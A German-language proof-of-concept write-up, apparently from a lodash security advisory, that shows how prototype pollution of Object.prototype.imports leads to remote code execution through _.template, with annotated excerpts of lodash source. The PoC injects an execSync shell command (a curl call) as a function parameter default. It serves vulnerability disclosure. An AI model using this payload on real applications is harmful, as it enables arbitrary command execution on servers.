
Proof-of-concept, das die Remote-Codeausführung in lodash-Templates über Prototype Pollution demonstriert, mit detaillierter Analyse des Angriffsablaufs und der Ausnutzungstechnik.
https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

Zuerst wird eine frühere Prototype-Pollution-Schwachstelle genutzt, um Object.prototype.imports mit einer angreiferkontrollierten Eigenschaft zu verschmutzen
Als Nächstes wird _.template('', {}) mit einem normalen Plain-Object-Optionswert aufgerufen
Innerhalb von _.template() kopiert lodash options mit assignInWith({}, options, settings, ...) bei lodash.js:14877
function template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...
assignInWith verwendet keysIn(source) bei lodash.js:12778 var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
keysIn() enthält geerbte aufzählbare Eigenschaften bei lodash.js:13440 function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
Da das Optionsobjekt ein normales {} ist, erbt es die verschmutzte imports-Eigenschaft von Object.prototype, und lodash kopiert diesen geerbten Wert in das lokale options.imports
Lodash erstellt dann imports mit assignInWith({}, options.imports, settings.imports, ...) bei lodash.js:14889, extrahiert importsKeys bei lodash.js:14889 und übergibt sie an Function(importsKeys, ...) bei lodash.js:14957
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...
Mein verschmutzter Schlüssel wird als formaler Parameter mit einem Standardausdruck behandelt:
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")